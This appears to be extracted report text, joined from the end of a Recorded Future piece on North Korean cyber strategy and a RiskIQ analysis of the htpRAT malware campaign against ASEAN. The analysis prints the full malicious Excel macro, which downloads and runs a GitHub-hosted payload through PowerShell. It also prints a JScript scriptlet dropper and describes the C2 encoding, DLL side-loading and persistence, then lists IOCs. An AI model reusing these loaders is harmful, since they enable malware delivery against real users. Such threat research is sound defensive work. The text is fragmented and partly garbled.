+global criminal syndicates, state and intelligence officials, and legitimate businesses. North Korea has repeatedly
+denied involvement in counterfeiting or any illegal operations.
+A History of Denial
+As outlined above, North Korea has a history of denying responsibility for their violent, illicit, and destructive
+operations. This includes denying involvement in the Blue House Raid, the Rangoon Bombing, all criminal and illicit
+activity including counterfeiting U.S. dollars, the Sony Pictures Entertainment attack, and the Bangladesh Central
+Bank robbery. Some scholars argue that acts such as counterfeiting a nation
+s currency constitutes a casus belli, an
+action or event that justifies war, and others argue that 
+international legal norms and constructs do not adequately
+address what constitutes casus belli in the cyber domain.
+Both of these arguments, as well as an understanding of North Korea
+s asymmetric military strategy, underscore
+why North Korea would not want to claim responsibility for many of these destructive and violent acts.
+Acknowledging state responsibility could provide the United States or South Korea with a valid casus belli, resulting
+in a war that North Korea would most certainly lose. Even if the evidence is strong, official government denials
+create uncertainty and give North Korea space to continue operations.
+Impact
+What has been missing from the discussion about whether North Korea is responsible for the WannaCry campaign
+and the bank heists has been the why 
+ the geopolitical and strategic intelligence that give CSOs, security
+professionals, and threat analysts context for the activity they are seeing.
+As of last week the NSA and several companies, including Symantec and Kaspersky, have linked the recent
+WannaCry ransomware campaign to North Korea; Recorded Future assesses that this type of cyber activity would
+fall within both North Korea
+self-financing
+ policy and asymmetric military strategy.
+In this context, as a nation that is under immense international financial and political pressure and one that employs
+these types of policies and strategies, Recorded Future believes that North Korean cyber operations (with the goal of
+acquiring hard currency) will continue for at least the short to medium term (one to three years). Additionally,
+destructive cyber operations against the South Korean government and commercial entities will persist over this
+same term and likely expand to Japanese or Western organizations if U.S. and North Korea tensions remain high.
+The cyber threat environment and military strategy framed above indicate that companies in several major
+economic sectors should increase monitoring of North Korean cyber activity. Financial services firms must remain
+constantly vigilant to exploitation of their SWIFT connections and credentials, possible destructive malware attacks
+and DDoS, and threats to customer accounts and data. Companies in the government contracting and defense
+sectors, especially companies that support the Terminal High Altitude Area Defense (THAAD) system deployment as
+well as U.S. or South Korean operations on peninsula, should be aware of the heightened threat environment to
+their networks and operations on the Korean peninsula.
+Energy and media companies, particularly those located in or that support these sectors in South Korea, should be
+alert to a wide range of cyber activity from North Korea, including DDoS, destructive malware, and ransomware
+attacks. Broadly, organizations in all sectors should continue to be aware of the adaptability of ransomware and
+modify their cyber security strategies as the threat evolves.
+This is part one of a two-part series on North Korea. In part two, we will examine patterns of behavior and internet
+activity from North Korea, including the widespread use of virtual private servers (VPS) and virtual private networks
+(VPN) to obfuscate browsing, internet transactions, and other, possibly malicious, activity.
+Remote Control Interloper:
+Analyzing New Chinese htpRAT
+Malware Attacks Against ASEAN
+By Yonathan Klijnsma
+Table of Contents
+Introduction................................................................................................................................................................................ 3
+Initial infection through 
+APA List.xls
+......................................................................................................................... 4
+GitHub repositories for payload delivery...................................................................................................................... 5
+Staged delivery of the final htpRAT core...................................................................................................................... 9
+Analysis of the htpRAT core...............................................................................................................................................11
+Persistence & storage.............................................................................................................................................................11
+Communication protocol.....................................................................................................................................................12
+Execution of operator commands...................................................................................................................................15
+Infrastructure analysis..........................................................................................................................................................16
+Other activity by the actor using htpRAT..................................................................................................................18
+Indicator of compromise.....................................................................................................................................................19
+Introduction
+On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to
+known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a
+new kind of Remote Access Trojan (RAT) that has not been previously observed or reported.
+The new RAT extends the capabilities of traditional RATs by providing complete remote execution of
+custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest
+weapon in the Chinese adversary
+s arsenal in a campaign against Association of Southeast Asian Nations
+(ASEAN).
+Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone,
+install and uninstall programs and manage files. They support a fixed set of commands operators
+can execute using different command IDs 
+file download
+ or 
+file upload,
+ for example
+and must be
+completely rebuilt to have different functionality.
+htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision
+and effect. On the Command and Control (C2) server side, threat actors can build new functionality in
+commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and
+incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different
+file on the victim
+s network, simply by wrapping commands.
+The file 
+APA list.xls
+ (sha256: f2e7106b9352291824b1be60d6772c29a45269d4689c2733d9eefa0a88eeff89)
+was delivered through email:
+The top part contains Lao and English: 
+ Enable Content 
+ roughly
+translates as 
+You can click 
+Enable Content
+ to (see/change) the data,
+ with an added example image of
+how to enable the macros in the document. Based on embedded metadata inside the Excel sheet, the
+last modified date on the file was 
+Mon Nov 07 07:18:32 2016,
+ meaning the document was prepared just
+before sending it to the target.
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Initial infection through 
+APA List.xls
+The XLS document contains the following macro:
+Attribute VB_Name = 
+ThisWorkbook
+Attribute VB_Base = 
+0{00020819-0000-0000-C000-000000000046}
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = False
+Attribute VB_PredeclaredId = True
+Attribute VB_Exposed = True
+Attribute VB_TemplateDerived = False
+Attribute VB_Customizable = True
+Private Sub Workbook_Open()
+Set objshell = CreateObject(
+wscript.shell
+a = objshell.Run(
+cmd.exe /s /c 
+powe
+rshell 
+(New-Object System.Net.
+WebClient).DownloadFile(\
+https://raw.githubusercontent.com/justtest1314/justme2/
+master/20160728.jpg\
+,$env:appdata+\
+\\ctfmon.exe\
+; && start %appdata%\\
+ctfmon.exe
+, 0, False)
+Set objshell = Nothing
+Sheet3.Visible = 1
+Sheet2.Visible = 1
+Sheet1.Visible = 1
+Sheet1.Unprotect
+Sheet1.Activate
+Chart3.Visible = 0
+End Sub
+Once the macro is enabled, the following PowerShell command runs to download a file and execute it (the
+downloaded file is stored in the Application Data folder in the user
+s local profile). It is interesting to note
+the use of GitHub over HTTPS to stage the payload:
+cmd.exe /s /c powershell (New-Object System.Net.WebClient).DownloadFile(
+https://
+raw.githubusercontent.com/justtest1314/justme2/master/20160728.
+,$env:appdata+
+\\ctfmon.exe
+); && start %appdata%\\ctfmon.exe
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+GitHub repositories for payload delivery
+The threat actor behind this attack uses GitHub repositories to store second stage payloads. The user
+account used on GitHub is 
+justtest1314
+ which holds three repositories, two of which have never been
+used since they were created. The third repository named 
+justme2
+ has been actively used to test
+different variations of transferring a payload from GitHub to a target machine over the course of six
+to seven months. The account and the initial repository were created on March 30, 2016, with the first
+commits starting the same day.
+Since the attack on the target in Laos, the attacker decided to clear out the repository. The files were
+prepped and ready for possible attacks since July 28, three months before the above documented
+attack. The files were removed on November 18, approximately 10 days after the attack against the
+Lao organization took place. The actor did not remove the actual repository, but rather cleared out the
+repository using commits in which the attacker removed the files. This allowed us to get the whole history
+of all the commits over time as well as every payload (and every version of the payload):
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Based on the Git commit history, we can make a small table showing which file was changed at what time:
+Commit
+timestamp
+Commit hash
+Files added
+Files
+changed
+Files deleted
+Mar 30, 2016, 3:55
+AM GMT+2
+9760f003facc0428e44a5e4da2d3d591c6d711ef
+README.md
+Mar 30, 2016, 3:56
+AM GMT+2
+cac8dace24e03a48b804e36a50d24f7747538ffc
+8001.exe
+Mar 30, 2016, 3:56
+AM GMT+2
+21e84fa5897de3c7e85d871e4ba33cb0611232ea
+Mar 30, 2016, 3:58
+AM GMT+2
+bebf35aeb82b80249312ed12cf0df81409537149
+test.zip
+Apr 1, 2016, 10:16
+AM GMT+2
+530ce17aa21250d9ce38525f353badb8c2f0c859
+ctfmon.jpg
+Apr 20, 2016, 3:07
+AM GMT+2
+87d999a3dc71a77ff95ec684e0805505dd822764
+script.jpg
+May 5, 2016, 4:54
+AM GMT+2
+a63e06112517d9d734b053764354b66e20f12151
+2011.jpg
+May 5, 2016, 4:58
+AM GMT+2
+eda99ee315d4702b02646a4d8c22b5e2eb5aa01f
+2011.jpg
+May 5, 2016, 5:10
+AM GMT+2
+9d43ce169be6c773d8cfc755b36a26118c98ad1d
+2011.jpg
+Jul 28, 2016, 10:55
+AM GMT+2
+e2d697dd03fa6ca535450a771e9b694ae18c22ce
+Nov 18, 2016, 5:00
+AM GMT+2
+f9ba255f5ce38dbe7a860b1de6525fdb5daf9f86
+test.zip
+Nov 18, 2016, 5:00
+AM GMT+2
+3cf50c62107265916777992f7745a1a0ec381d6f
+script.jpg
+Nov 18, 2016, 5:00
+AM GMT+2
+bf74c7199eb643fbb2ee998a643469f155439e18
+ctfmon.jpg
+Nov 18, 2016, 5:00
+AM GMT+2
+75b55d9dc45b245b91a3bbd5ebaf64a76dee1f56
+20160728.
+Nov 18, 2016, 5:01
+AM GMT+2
+fc2a6c0e53b15c93d392f605f3180a43c7c0c78e
+2011.jpg
+8001.exe
+20160728.jpg
+While only 20160728.jpg was used in the above mentioned attack, there are many other available
+payloads. All files besides 2011.jpg are portable executables. 2011.jpg is in fact a scriptlet file containing
+some VBS scripting to download the 
+test.zip
+ file seen in the above commit log. The scriptlet looks like
+this (the three versions only had minimal changes, most importantly the Target variable was changed to a
+random path as to not conflict with already existing files):
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+<?XML version=
+<scriptlet>
+<registration
+description=
+progid=
+Commaster
+version=
+1.00
+classid=
+{20001111-0000-0000-0000-0000FEEDACDC}
+<script language=
+JScript
+<![CDATA[
+var Source = 
+https://raw.githubusercontent.com/justtest1314/justme2/master/test.
+var Target = 
+c:\\windows\\temp\\
++String(Math.random()*(Math.pow(10,10)))+
+.exe
+var Object = new ActiveXObject(
+MSXML2.XMLHTTP
+Object.Open(
+, Source, false);
+Object.Send();
+if (Object.Status == 200)
+// Create the Data Stream
+var Stream = new ActiveXObject(
+ADODB.Stream
+// Establish the Stream
+Stream.Open();
+Stream.Type = 1; // adTypeBinary
+Stream.Write(Object.ResponseBody);
+Stream.Position = 0;
+Stream.SaveToFile(Target, 2); // adSaveCreateOverWrite
+Stream.Close();
+new ActiveXObject(
+WScript.Shell
+).Run(Target,0,true);
+</script>
+</registration>
+<public>
+<method name=
+Exec
+></method>
+</public>
+</scriptlet>
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Test.zip is the first stage payload of htpRAT, similar to the 20160728.jpg file downloaded by the XLS
+mentioned at the start of this report. The following table lists the files and their respected MD5 and
+SHA256 values (note, 2011.jpg exists multiple times due to the multiple commits/changes done on this file:
+Filename
+SHA256
+2011.jpg (commit:
+9d43c169be6c773d8cfc755
+36a26118c98ad1d)
+a164a57e10d257caa1b6230153c05f5d
+ccfccbe54af2aec39a85d28b22614e2f
+43d084a2bcadeae75cad488a8957d862
+2011.jpg (commit:
+a63e06112517d9d734
+053764354b66e20f12151)
+01cddd0509d725c0ee732e2ef6109ecd
+4b2f8cf7d6b2220cc17c66755564e68d3ab997a
+f1ab3f47cbe2fa79293b3d38c
+2011.jpg (commit:
+eda99ee315d4702b02646a4
+8c22b5e2eb5aa01f)
+81b11c60b28a17c8a39503daf69e2f62
+6b4f605e4cffce074e683f2ade409a
+56c318a34f1e4b6b0f15b582c5c66b64e9
+20160728.jpg
+5fa81da711581228763a7b7c74992cf8
+593e13dca3ab6ce6358eec09669f69faef40f1e
+67069b08e0fe3f8451aaf62ec
+8001.exe
+417a608721e9924f089f9143a1687d97
+c098cca96c124325d89b433816e6e7fd0b14c51b
+287c254314f96560975f7864
+ctfmon.jpg
+d5a9d5d1811c149769833ae1cd3b1aca
+ee1ea9df1f8d7aaa03a93692c1deab09e8d
+834d52e9d5971d013ed259d30229c
+script.jpg
+417a608721e9924f089f9143a1687d97
+c098cca96c124325d89b433816e6e7fd0b14c51b
+287c254314f96560975f7864
+test.zip
+417a608721e9924f089f9143a1687d97
+c098cca96c124325d89b433816e6e7fd0b14c51b
+287c254314f96560975f7864
+Staged delivery of the final htpRAT core
+The analysis starts from the downloaded payload coming from the 
+APA list.xls
+ file. The payload was
+downloaded to the application data folder and renamed to 
+ctfmon.exe
+ from the original 
+20160728.jpg
+name (SHA256: 593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe3f8451aaf62ec).
+The author calls this first package 
+Microsoft
+ based on the project PDB path still left in the binary:
+C:\Users\cool\Documents\Visual Studio 2010\Projects\microsoft\Release\microsoft.pdb
+Upon execution, it first checks if a debugger is active as well as checks if it is able to execute the 
+ipconfig
+utility, most likely to ensure the next step will succeed. It then proceeds to drop a CAB file named 
+temp.
+ in the local temp directory. The CAB file is a compressed bundle containing the third stage of the
+infection. The code decompresses the CAB file by running the Microsoft 
+expand
+ utility locally. The
+following three files from the CAB file are placed in the local application data folder in a subfolder called
+Microsoft
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Filename
+SHA256
+data
+69d24b6fdc87af3a04318e1502e07977
+0e2491e1f0e1467121b15b9d03b3fe73ac0a5aa85dc949f8e627ed3
+848bdc68a
+fsma32.dll
+a58f3f9441b4ecc9a0e089578048756f
+6cf1cff2e0d1b2d91c417f962a2623077b29318499f8e43e1e
+6865ba1eefd234
+winnet.exe
+c452cd2cc4c91b7da55e83b9eff46589
+a80df73828b3397b5e120f3a3b3dee3cee2672aaa2ccb2134c68b2f
+fe13c0725
+After decompressing the files, the 
+winnet.exe
+ file is executed. This file is a legitimate piece of software;
+it is a part of the F-Secure antivirus suite and used here because it is vulnerable to DLL side loading.
+The antivirus component normally loads code from a file called 
+fsma32.dll,
+ which on a normal system is
+also a component of the antivirus product, but due to the way it searches for this file and performs no
+verification of its legitimacy, a malicious version of fsma32.dll is started.
+The author calls this DLL 
+windows
+ based on the project PDB path still present:
+C:\Users\cool\Documents\Visual Studio 2010\Projects\windows\Release\windows.pdb
+The DLL loads the 
+data
+ file, also decompressed from the CAB file, decrypts it and loads the decrypted
+content into memory and executes it. The decrypted data content is, in fact, also a DLL file, the
+C:\Users\cool\Documents\Visual Studio 2010\Projects\dll\Release\dll.pdb
+fourthstage of the infection. The author calls this DLL 
+ based on the project PDB path still present left:
+C:\Users\cool\Documents\Visual Studio 2010\Projects\htpdll\Release\htpdll.pdb
+This fourth stage of the infection is quite simple. It starts a new svchost process and decrypts a fifth stage
+payload it internally has stored and injects this into the svchost process. This starts a remote thread inside
+the svchost process to run the injected code. This final payload and the fifth stage is called 
+htpdll
+ based
+on the project PDB path (this is where the name htpRAT comes from):
+The fifth stage is the final stage and contains the core of the RAT which communicates with the C2 server
+and executes the attacker
+s commands.
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Analysis of the htpRAT core
+At its core htpRAT is a simple and generically implemented RAT with some quite interesting
+implementations of its communication protocol, command execution and configuration storage systems.
+Persistence & storage
+Initially when htpRAT starts it creates a mutexes to ensure there is only one instance running. The name of
+the mutex can be used as an indicator on an active system, it is hard coded as:
+{3084ADEC-04CF-4981-B6A0-87DC5C385E24}
+It then obtains its local path in the appdata folder (which is %LOCALAPPDATA%\Microsoft\). This path is
+used to store a file called 
+token.ini
+ in which the system uptime (in milliseconds) is contained. The token.ini
+file is formatted using the INI format through the use of the GetPrivateProfileString and WriteProfileString
+functions of the WinAPI. htpRAT uses the following hardcoded information to structure its app and key
+names in the INI file. This can be used to filter out legitimate 
+token.ini
+ files, if encountered:
+{3084ADEC-04CF-4981-B6A0-87DC5C385E24}
+Once htpRAT has its INI file written, it sets a startup entry in the registry to ensure automatic startup
+when a system is rebooted. A key is created under:
+Software\\Microsoft\\Windows\\CurrentVersion\\Run
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+The keyname 
+WindowsApp
+ has the value of the wininit.exe binary location in the Microsoft subfolder in
+local appdata.
+Communication protocol
+htpRAT uses a custom communication protocol utilizing a JSON format internally which is encrypted and
+wrapped in HTTP requests. The base format of a request sent to the C2 server looks like this:
+command: 
+<command string>
+content: 
+<command id result>
+mid: 
+<machine ID>
+cid: 
+<command id>
+Individually the field values contain the following:
+command: The type of action/command the request has data for in its content field. The two
+known values for this are:
+ online: Set when the malware is polling the C2 server for new commands. (It also functions as
+an initial check-in; the client simply starts polling for commands on startup). When this value is
+set, the content field contains the following fields:
+ tag: The campaign tag which is hardcoded.
+ name: The computer name is obtained via a call to GetComputerName from the WinAPI.
+ cmd: This value is seen when the client has executed commands as per instructions from the C2
+server. When this value is set, the content field contains the result from executing the command
+obtained from the C2. Additionally the cid field contains a special command ID used for this 
+command.
+content: The command field can contain a subset of different keywords that change the content of
+the 
+content
+ field. The field then contains the result provided by the operator on the C2 side as
+long as the command field is set to 
+. Otherwise, when the command field is set to 
+online
+this field contains the campaign tag and computer name as explained in the subsection above. The
+data in this field is base64 encoded when it is assigned to this field to retain any newlines / data, as
+it can contain arbitrary data from command execution results.
+mid: A unique machine ID based on the GetTickCount value, which is called the first the RAT ever
+runs. This function returns the amount of milliseconds the system has been up, this is used (in
+combination with the computer name) to identify a unique client.
+cid: The command ID either set to online when polling for new commands, or it is set to the
+command ID supplied by the C2. When a command is obtained from the C2, this command
+contains a special command ID supplied by the actor issuing the command. This command ID is
+replicated back to the C2 with the results of the requested command.
+The completed JSON object is, after being filled with the correct information, encrypted before being sent
+to the C2 through a HTTP POST request. The encryption of the POST data is done with a custom algorithm.
+A key is generated per request to the C2 server and is seeded through the return of the GetTickCount
+function. First a 10 character string is generated by picking 10 numbers at random. The pipe symbol | is
+added at the end of the string making the entire key 11 characters. The check-in JSON data is then XOR
+with the generated key. Then the data is prepared for the POST request as follows:
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+The key is XOR
+d with itself character by character: first character with the second, second with the
+third until the last character is hit which is XOR
+d with the first character again.
+The encrypted checkin data is prepended with the encrypted key and then encoded with base64.
+The first character of the plain XOR key is prepended in front of the base64 encoded data.
+This prepending of the first key of the XOR key allows the C2 server to calculate back the entire key and
+decrypt the data. To give a good example of this protocol, we can work it back from from a network
+capture of a victim checking in to the C2 server:
+The encrypted communication blob is:
+5BQQECQ0FBwIDS0lOEldfVFlQWFAVRhdfWlxQWlQUGBdeVl9aRFxaRRQUDVwXVU16CW1mVV14FX9Ebl
+wR3h1fkIlYgFYeVB1B393fTlgAFxgb2J/cH1ZTAgSGBAbWVhSFhdGFRIFBQoCBAUGD14ZEBZTUFAT
+g4XXlpeWFlXURNL
+The first layer of the data is the first plaintext character of the XOR key followed by the base64 encoded
+and XOR
+d check-in data. We can split up like this:
+First character of the key: 5
+Base64 encoded check-in data:
+BQQECQ0FBwIDS0lOEldfVFlQWFAVRhdfWlxQWlQUGBdeVl9aRFxaRRQUDVwXVU16CW1m
+V14FX9EblwR3h1fkIlYgFYeVB1B393fTlgAFxgb2J/cH1ZTAgSGBAbWVhSFhdGFRIFBQo
+BAUGD14ZEBZTUFATFg4XXlpeWFlXURNL
+First thing to do is decoding the XOR key out of the data. We decode the base64 data and grab the first
+11 bytes. We XOR the first byte of this data with the first character we obtained from the check-in, this
+gives us the second character of the key. With the second character of the key we can XOR the third and
+so on. We continue this until we get the entire key back in plaintext, for the provided data above the key
+is: 5040941647|
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+In python extracting the key from the check-in data looks like this:
+We can, using the extracted key, decrypt the rest of the data with a simple XOR loop. Decrypted we end
+up with the following JSON data for this check-in:
+For its HTTP communication htpRAT uses a hardcoded user-agent:
+Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
+While not in use in this attack, htpRAT has an internal configuration which allows the operator to build
+htpRAT clients with any of the following:
+Proxy information (username, password, url)
+Arbitrary raw request headers and data
+Explicitly it has a field for the 
+Cookie
+ header
+WinHTTP request options (Timeouts)
+These options are visible when we reverse engineered the malware, but they were not put to use in this
+build of htpRAT.
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Execution of operator commands
+The design of htpRAT differs from 
+common
+ RATs. Most RATs feature a fixed set of commands that
+attackers can execute with different command IDs. For example, file download or file upload would both
+be unique functionalities of the RAT. htpRAT doesn
+t adhere to this structure. Instead, the malware creator
+decided to generalize this concept by having the RAT execute commands directly as provided from a
+C2 server. This means, for example, there is no specific function to get screenshots on the host; instead,
+on the C2 server side, the operator has a button which says 
+Get Screenshot
+ which simply generates a
+set of commands to execute through something like PowerShell to take a screenshot. This makes htpRat
+dynamic and, subject to change. Any new functionality the operators want they simply implement by
+wrapping commands on the C2 without having to update the htpRAT source code.
+Coincidentally, this also means we cannot give a fixed list of functionality for this RAT. Its functionality is
+completely dependent on what rights the RAT was able to obtain upon installation and what the operator
+wants to do.
+The way the execution of commands when the bot starts is implemented is as follows, :
+A separate command prompt process is started which can be communicated with via named pipes.
+Any incoming commands from the C2 are executed via the named pipes on the sub process.
+Results are read from the named pipe and communicated back to the C2 server.
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Infrastructure analysis
+Based on the analysis of the malware we know that qf.laoscript.org is the C2 host for this malware.
+The WHOIS data for this domain is quite interesting as the name 
+John Durdin
+ can be seen on multiple
+domains, but what stands out is the difference in email address used in the registrations. The following is a
+search on domain registrations for this name in PassiveTotal--most have the same email address, but one
+stands out. The email address is the registered domain:
+If we look more closely, we see that there is also a .NET domain for laoscript. The C2 domain is clearly
+registered to raise fewer suspicions by mimicking the other domain. It becomes even more clear when we
+see all the registration information was just copied if you compare laoscript.net and laoscript.org:
+The only thing the actor could not fake was the email address due to the fact that an email address must
+be used to activate the domain at the registrar. The use of the laoscript name is quite interesting as it
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+shows real active targeting. The real laoscript website is a piece of software that helps with the input of
+the Lao language text on computers which gives the actor good leverage for social engineering:
+Looking at the domain we can see it has been registered since 2014 which means this C2 domain has
+been under the control of the actor for at least two years. We can also see that in the past, the domain
+has been used in other attack campaigns as well which indicates there are more yet undiscovered victims.
+There are also two samples that connect to qf.laoscript.org which are not htpRAT, they are in fact
+variations of the well known PlugX malware:
+ 5e0019485fbfa2796ec0f1315c678b4a3fb711aef5d97f42827c363ccd163f6d (First seen
+2015-07-10)
+ eeb34edec5fd04e6a44bf5c991eaf79c68432d4d0037b582bcd9062cc2b94c62 (First seen
+2015-07-17)
+Both also use DLL side loading techniques but using a different antivirus product to leverage execution
+through. Still this means there
+s an active connection between the current actors with the new unknown
+htpRAT and where they in the past used PlugX. While we can only guess for reasons why this actor
+decided to develop their own tool instead of continuing to use PlugX, it seems it is at least a step up in
+terms of detection of the malware. PlugX was becoming quite common and easy to detect on both the
+network as well as file system level.
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Other activity by the actor using htpRAT
+Going through older samples connecting to the C2 domain for htpRAT, we mostly find a variety of
+PlugX samples. We also ran into the exploit activity by the group, ShadowServer, documented in their
+paper, 
+The Italian Connection: An analysis of exploit supply chains and digital quartermasters.
+ Page six
+describes the use of the HackingTeam leaked exploits by various groups.
+One interesting connection is a piece of malware called 
+MyHNServer
+ which is a packaged PlugX payload.
+This sample also connects to 
+qf.laoscript.org
+ and has quite an interesting PDB path:
+The first foldername 
+ is interesting; in context it translates to the 
+elderly
+ or 
+brother
+group most likely referring to a more senior/experienced and respected group. If we correlate
+samples based on this PDB path, we get into some really interesting attacks. One other PDB path
+we can find based on the group
+s name is for another piece of malware called 
+MyCL
+ (sha256:
+2fa07d41385c16b0f6ad32d12908db1743ca77db0b71e6cfd0fde76ef146e983):
+The first word 
+ means 
+source code,
+ and the second 
+ means 
+victims.
+ By itself the sample isn
+that interesting, although it isn
+t PlugX or htpRAT. It is interesting because of the C2 server used: 
+data.
+dubkill.com
+. This domain has been widely used in other attacks in Vietnam as documented by BKav, a
+Vietnamese security company: http://genk.vn/internet/vu-gia-mao-email-ket-luan-thu-tuong-phat-hienbien-the-virus-bien-dong-2015060612185601.chn. Looking at the registration information for the dubkill
+domain, we can find an interesting link to a more recent government attack. The domain is registered to
+a person using the email address 
+dubkill@163.com,
+ this same email address was also used to register
+dcsvn.org
+ which was used to imitate the official military domain in Vietnam. This attack was publicly
+documented by BKav (http://security.bkav.com/home/-/blogs/malware-attacking-vietnam-airlinesappears-in-many-other-agenci-1/normal?p_p_auth=DHFn7deT) and the Vietnamese government (http://e.
+gov.vn/theo-doi-ngan-chan-ket-noi-va-xoa-cac-tap-tin-chua-ma-doc-a-NewsDetails-37486-14-186.html).
+Additionally there is IP address overlap between 
+dcsvn.org
+ and 
+laoscript.org
+ in 2015.
+Following all these links over WHOIS, the shared domains and shared working paths reveals the
+adversary
+s web is wider and deeper than expected. While this report was solely written to inform
+about a new piece of malware used by this adversary this last section highlights the size and amount of
+operations.
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Indicator of Compromise
+While we mentioned some other C2 domains in this article, the IOCs listed below tie in directly with
+confirmed activity for htpRAT for the above detailed campaign. All those IOCs can also be obtained from
+the public PassiveTotal project which will be kept in sync with new developments: [%PT PROJECT%].
+htpRAT Network IOCs:
+Domain
+qf.laoscript.org
+128.199.245.204
+htpRAT Filesystem IOCs:
+Filename
+SHA256
+data
+69d24b6fdc87af3a04318e1502e07977
+0e2491e1f0e1467121b15b9d03b3fe73ac0a5aa85dc
+949f8e627ed3848bdc68a
+fsma32.dll
+a58f3f9441b4ecc9a0e089578048756f
+6cf1cff2e0d1b2d91c417f962a2623077b29318499f8e43e1e
+6865ba1eefd234
+winnet.exe
+c452cd2cc4c91b7da55e83b9eff46589
+a80df73828b3397b5e120f3a3b3dee3cee2672aaa2ccb2134c68b2f
+fe13c072
+2011.jpg
+a164a57e10d257caa1b6230153c05f5d
+ccfccbe54af2aec39a85d28b22614e2f43d084a2bcadeae75ca
+d488a8957d862
+2011.jpg
+01cddd0509d725c0ee732e2ef6109ecd
+4b2f8cf7d6b2220cc17c66755564e68d3ab997af1ab3f47cbe
+2fa79293b3d38c
+2011.jpg
+81b11c60b28a17c8a39503daf69e2f62
+6b4f605e4cffce074e683f2ade409a56c318a34f1e4b6b0f15b582c
+5c66b64e9
+20160728.
+5fa81da711581228763a7b7c74992cf8
+593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe
+3f8451aaf62ec
+8001.exe,
+script.jpg,
+test.zip
+417a608721e9924f089f9143a1687d97
+c098cca96c124325d89b433816e6e7fd0b14c51b
+287c254314f96560975f7864
+ctfmon.jpg
+d5a9d5d1811c149769833ae1cd3b1aca
+ee1ea9df1f8d7aaa03a93692c1deab09e8d834d52e9d5971d013ed2
+59d30229c
+APA list.xls
+f6d75257c086cd20ec94f4f146676c6e
+f2e7106b9352291824b1be60d6772c29a45269d4689c2733d9eef
+a0a88eeff89
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+htpRAT Miscellaneous IOCs:
+Description
+Value
+INI key name
+{80478813-B963-4C21-953E-D51544A1863B}
+Runtime mutex
+{3084ADEC-04CF-4981-B6A0-87DC5C385E24}
+Useragent
+Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
+Registry startup keyname
+WindowsApp
+qf.laoscript.org
+128.199.245.204
+Additional IOCs related to the 
+Other activity by the htpRAT group
+ section are listed below. These contain
+a raw dump of observed samples, domains and IPs. This last set of IOCs is not tracked in the public PT
+project linked above. Also keep in mind there is a substantial amount of historical IP addresses for the
+domains in the list below which aren
+t related to current activity. They are only shone in combination with
+the adjoining domain names. This section is quite raw and unstructured: the only connection is through
+shared infrastructure from the htpRAT campaign.
+Additional network IOCs:
+Description
+91.109.29.115
+download.laokey.com
+103.193.4.164
+43.249.38.250
+ftp.laokey.com
+91.109.29.115
+128.199.245.204
+103.193.4.164
+laokey.com
+43.249.38.250
+128.199.245.204
+43.249.38.250
+mysqlupdate.hopto.org
+80.255.3.101
+91.109.29.115
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+Description
+103.193.4.164
+86.106.131.12
+43.249.38.250
+91.109.29.115
+la.laoscript.org
+128.199.245.204
+116.251.223.148
+27.255.94.75
+216.158.86.233
+191.101.242.101
+download.laoscript.org
+119.59.123.114
+115.84.101.75 (IP address for the MOFA of Laos, the server wasn
+t compromised as far as we
+know)
+image.laoscript.org
+116.251.223.212
+119.59.123.114
+119.59.123.58
+61.195.97.204
+la.proxyme.net
+128.199.245.204
+128.199.89.28
+Additional filesystem IOCs:
+Filename
+SHA256
+favicon.ico
+27b318e103985fb4872ea92df1d2f35a
+56c3909c19e9fb934ef6d1f73fbfe3d05935933c0c071fc23ad
+ce05d545b8965
+fb7376074cd98d2ac9d957cba73d054e
+5e0019485fbfa2796ec0f1315c678b4a3fb711aef5d97f42827c
+363ccd163f6d
+863f83f72b2a089123619465915d69f5
+e7264a8ed7ed9145e6cdbcfe55e9a0d00f4df70becb62a83496c
+34548c5c7bdf
+Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN
+For a full, continuously updated list of IOCs related to htpRAT, visit the RiskIQ Community Public Project
+here: https://community.riskiq.com/projects/521b4b80-1f00-c485-ba1d-70fa223a1933
+Learn how RiskIQ could help
+protect your digital presence by
+scheduling a demo today.
+RiskIQ is the leader in digital threat management, providing the most comprehensive
+discovery, intelligence, and mitigation of threats associated with an organization
+digital presence. With more than 75 percent of attacks originating outside the
+firewall, RiskIQ allows enterprises to gain unified insight and control over web,
+social, and mobile exposures. Trusted by thousands of security analysts, RiskIQ
+platform combines advanced internet data reconnaissance and analytics to expedite
+investigations, understand digital attack surfaces, assess risk, and take action to protect
+business, brand, and customers. Based in San Francisco, the company is backed by
